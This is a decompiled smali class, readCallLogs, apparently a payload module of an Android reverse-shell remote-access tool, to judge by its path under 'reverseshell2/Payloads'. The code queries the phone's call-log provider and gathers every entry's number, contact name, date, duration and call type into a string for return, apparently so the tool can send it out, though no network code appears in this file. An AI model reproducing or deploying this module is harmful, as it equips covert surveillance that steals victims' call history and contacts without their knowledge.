Path: blob/master/Compiled_apk/smali/com/example/reverseshell2/Payloads/readCallLogs.smali
3995 views
.class public Lcom/example/reverseshell2/Payloads/readCallLogs;
.super Ljava/lang/Object;
.source "readCallLogs.java"
# instance fields
.field activity:Landroid/app/Activity;
.field call_logs:Ljava/lang/String;
.field context:Landroid/content/Context;
# direct methods
.method public constructor <init>(Landroid/content/Context;Landroid/app/Activity;)V
.locals 0
.param p1, "context" # Landroid/content/Context;
.param p2, "activity" # Landroid/app/Activity;
.line 18
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 19
iput-object p1, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->context:Landroid/content/Context;
.line 20
iput-object p2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->activity:Landroid/app/Activity;
.line 21
return-void
.end method
# virtual methods
.method public readLogs()Ljava/lang/String;
.locals 14
.line 25
const-string v0, "content://call_log/calls"
invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v0
.line 26
.local v0, "allCalls":Landroid/net/Uri;
iget-object v1, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->activity:Landroid/app/Activity;
const/4 v3, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
const/4 v6, 0x0
move-object v2, v0
invoke-virtual/range {v1 .. v6}, Landroid/app/Activity;->managedQuery(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
move-result-object v1
.line 29
.local v1, "c":Landroid/database/Cursor;
:try_start_0
invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
move-result v2
if-eqz v2, :cond_1
.line 30
const/4 v2, 0x0
.local v2, "i":I
:goto_0
invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
move-result v3
:try_end_0
.catch Ljava/lang/NullPointerException; {:try_start_0 .. :try_end_0} :catch_0
const-string v4, "\n"
if-ge v2, v3, :cond_0
.line 31
:try_start_1
invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
move-result-object v3
.line 32
.local v3, "iterator":Ljava/lang/String;
const-string v5, "number"
invoke-interface {v1, v5}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v5
invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v5
.line 33
.local v5, "num":Ljava/lang/String;
const-string v6, "name"
invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v6
invoke-interface {v1, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v6
.line 34
.local v6, "name":Ljava/lang/String;
const-string v7, "duration"
invoke-interface {v1, v7}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v7
invoke-interface {v1, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v7
.line 35
.local v7, "duration":Ljava/lang/String;
const-string v8, "type"
invoke-interface {v1, v8}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v8
invoke-interface {v1, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v8
invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v8
.line 36
.local v8, "type":I
const-string v9, "date"
invoke-interface {v1, v9}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v9
invoke-interface {v1, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v9
.line 37
.local v9, "callDate":Ljava/lang/String;
new-instance v10, Ljava/util/Date;
invoke-static {v9}, Ljava/lang/Long;->valueOf(Ljava/lang/String;)Ljava/lang/Long;
move-result-object v11
invoke-virtual {v11}, Ljava/lang/Long;->longValue()J
move-result-wide v11
invoke-direct {v10, v11, v12}, Ljava/util/Date;-><init>(J)V
.line 38
.local v10, "callDayTime":Ljava/util/Date;
new-instance v11, Ljava/lang/StringBuilder;
invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
const-string v12, "#"
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v12, "\nNumber : "
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v12, "\nName : "
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v12, "\nDate : "
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
const-string v12, "\nDuration : "
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v12, "\nType : "
invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v11
.line 41
.local v11, "fi":Ljava/lang/String;
new-instance v12, Ljava/lang/StringBuilder;
invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
iget-object v13, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v12, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v12, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v4
iput-object v4, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
.line 42
invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
.line 30
nop
.end local v3 # "iterator":Ljava/lang/String;
.end local v5 # "num":Ljava/lang/String;
.end local v6 # "name":Ljava/lang/String;
.end local v7 # "duration":Ljava/lang/String;
.end local v8 # "type":I
.end local v9 # "callDate":Ljava/lang/String;
.end local v10 # "callDayTime":Ljava/util/Date;
.end local v11 # "fi":Ljava/lang/String;
add-int/lit8 v2, v2, 0x1
goto/16 :goto_0
.line 44
.end local v2 # "i":I
:cond_0
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
iget-object v3, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
iput-object v2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
:try_end_1
.catch Ljava/lang/NullPointerException; {:try_start_1 .. :try_end_1} :catch_0
.line 48
:cond_1
goto :goto_1
.line 46
:catch_0
move-exception v2
.line 47
.local v2, "e":Ljava/lang/NullPointerException;
const-string v3, " "
iput-object v3, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
.line 49
.end local v2 # "e":Ljava/lang/NullPointerException;
:goto_1
iget-object v2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String;
return-object v2
.end method